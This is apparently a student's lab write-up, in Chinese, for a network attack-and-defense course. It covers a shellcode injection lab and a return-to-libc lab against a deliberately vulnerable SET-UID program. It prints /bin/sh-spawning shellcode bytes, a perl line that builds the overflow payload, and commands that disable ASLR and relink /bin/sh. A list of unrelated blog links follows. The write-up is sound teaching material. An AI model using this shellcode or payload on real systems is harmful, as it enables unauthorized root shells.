1.0 实践内容

Return-to-libc攻击是一种特殊的缓冲区溢出攻击,通常用于攻击有“栈不可执行”保护措施的目标系统。本实验中我们放弃了让漏洞程序执行堆栈中的shellcode,将用system()地址替换返回地址,用它调用一个root shell。

1.1 shellcode注入实验

实验之前需要安装execstack.

设置堆栈可执行,并关闭地址随机化。

shellcode的获取得到shellcode如下

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
  • 接下来正式进入实验:

构造注入的payload,格式为nop(即\x90)+shellcode+返回地址。

对返回地址进行猜测,尝试找到shellcode的地址:

用gdb调试:

ret一行即为结束地址,从上图中,读出结束地址为0x080484ae

返回原来的终端:(回车要在设置断点后进行,gdb执行c前按下,否则无法确认进程号)

接下来设置断点,并寻找注入的buf的地址:

然后我们发现,先前输入的01020304出现在了这里,这里就是返回地址。

01020304的位置就是返回地址的位置,即0xffffd33c

获得shellcode的地址后,再次返回先前的终端,先用exit命令退出该步骤,随后修改input_shellcoded的值为

perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

然后在该窗口中,重新运行

(cat input_shellcode ; cat )| ./pwn5207

成功

2.0 Return-to-libc 攻击实验

首先需要创建环境

输入如下指令,创建32位C语言可编译的环境

sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386

完成安装

输入命令

linux32

进入32位linux操作环境

使用

/bin/bash

进入bash

接下来关闭地址随机化

sudo sysctl -w kernel.randomize_va_space=0

为了防止shell攻击,若被攻击,则程序被调用时会自动弃权,用zkj来代替它:

这里用到的命令为:

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

在tmp文件夹下编辑“retlib.c”文件,并编译设置SET-UID

我在windows下编译完成后复制进tmp文件夹,因此替代了文件

进行编译,

提权后退出。

创建文件“”getenvaddr.c”文件用于读取环境变量,并编译

在tmp文件夹下准备“exploit.c”文件用于攻击

并对其进行编译

编译exploit再运行gdb,对其进行调试

接下来获取system地址

通过上述获取的地址,修改入exploit.c文件,并删除之前生成的exploit和badfile文件,再次编译,

编译的方法是:将先前得到的地址等填入exploit的相应位置

最后编译运行retlib

攻击成功

20145207李祉昂《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验的更多相关文章

  1. 20145203盖泽双《网络对抗技术》拓展:注入:shellcode及return-into-libc攻击

    20145203盖泽双<网络对抗技术>拓展:注入:shellcode及return-into-libc攻击 一.注入:shellcode 1.编写一段用于获取Shellcode的C语言代码 ...

  2. 20145314郑凯杰《网络对抗技术》恶意DLL注入进程(进程捆绑)的实现

    20145314郑凯杰<网络对抗技术>恶意DLL注入进程(进程捆绑)的实现 一.本节摘要 简介:在这部分里,要实现将恶意后门悄无声息地与进程进行捆绑,通过和已运行的进程进行捆绑,达到附着攻 ...

  3. 20145309李昊《网络对抗技术》实验9 web安全基础实践

    本实验在同学帮助下完成 一.实验准备 1.0 实验目标和内容 Web前端HTML.能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. Web前 ...

  4. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

  5. 2018-2019-2 20165225『网络对抗技术』Exp2:后门原理与实践

    2018-2019-2 20165225『网络对抗技术』Exp2:后门原理与实践 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 (0.5分) 任务二:使用socat获取主 ...

  6. 2018-2019-2 网络对抗技术 20165236 Exp6 信息搜集与漏洞扫描

    2018-2019-2 网络对抗技术 20165236 Exp6 信息搜集与漏洞扫描 一.实验内容 1.实践目标 掌握信息搜集的最基础技能与常用工具的使用方法. 2.实践内容 (1)各种搜索技巧的应用 ...

  7. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  8. 2017-2018-2 20155314《网络对抗技术》Exp1 PC平台逆向破解(5)M

    2017-2018-2 20155314<网络对抗技术>Exp1 PC平台逆向破解(5)M 目录 实验要求 实验内容 预备知识 实验步骤 0 准备工作:macOS下Parallels De ...

  9. 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践

    ### 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践 一.实验内容 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分) ...

随机推荐

  1. cheerio数据抓取

    很多语言都能写个爬虫抓取数据,js自然也可以,使用cheerio可以支持css检索,较快捷的获取需要的数据.首先,先把node.js给安装了.可到官网下载.安装好node.js后,使用npm安装che ...

  2. 安装chrome jsonView插件

    1.打开 https://github.com : 2.搜索 jsonView 链接:https://github.com/search?utf8=%E2%9C%93&q=jsonview: ...

  3. 1221. [HNOI2001]软件开发【费用流】

    Description 某软件公司正在规划一项n天的软件开发计划,根据开发计划第i天需要ni个软件开发人员,为了提高软件开发人员的效率,公司给软件人员提供了很多的服务,其中一项服务就是要为每个开发人员 ...

  4. 【[HNOI2008]GT考试】

    我又来复习\(kmp\)了 其实这道题主要是一个矩阵乘法,但是\(kmp\)在其中也有着非常重要的作用 我们可以这样定义状态\(dp[i][j]\)表示文本串进行到了\(i\)位置,同时文本串在最后和 ...

  5. Week7:SVM难点记录

    1.函数dataset3Params(),如何计算模型估计偏差的? model=svmTrain(X,y,c_array,@(x1,x2)gaussianKernel(x1,x2,sigma_arra ...

  6. JQ中$(window).load和$(document).ready区别与执行顺序

    JQ中的$(document).ready()大家应该用的非常多,等同于$(function(){}),基本每个JS脚本中都有这个函数的出现有时甚至会出现多个,那么另一个加载函数$(window).l ...

  7. vlc源码分析(五) 流媒体的音视频同步

    vlc播放流媒体时实现音视频同步,简单来说就是发送方发送的RTP包带有时间戳,接收方根据此时间戳不断校正本地时钟,播放音视频时根据本地时钟进行同步播放.首先了解两个概念:stream clock和sy ...

  8. Angular动态表单生成(一)

    好久不写博客了,手都生了,趁着最近老大让我研究动态表单生成的时机,撸一发博客~~ 开源项目比较 老大丢给我了两个比较不错的开源的动态表单生成工具,这两个项目在github上的star数量基本持平: h ...

  9. nRF5 SDK for Mesh(一) 介绍和下载源码

    一: 官网介绍地址:http://www.nordicsemi.com/Products/Bluetooth-low-energy/nRF5-SDK-for-Mesh Nordic offers a ...

  10. 使用java代码将时间戳和时间互相转换

    时间戳转时间: SimpleDateFormat simpleDateFormat = null; simpleDateFormat = new SimpleDateFormat("yyyy ...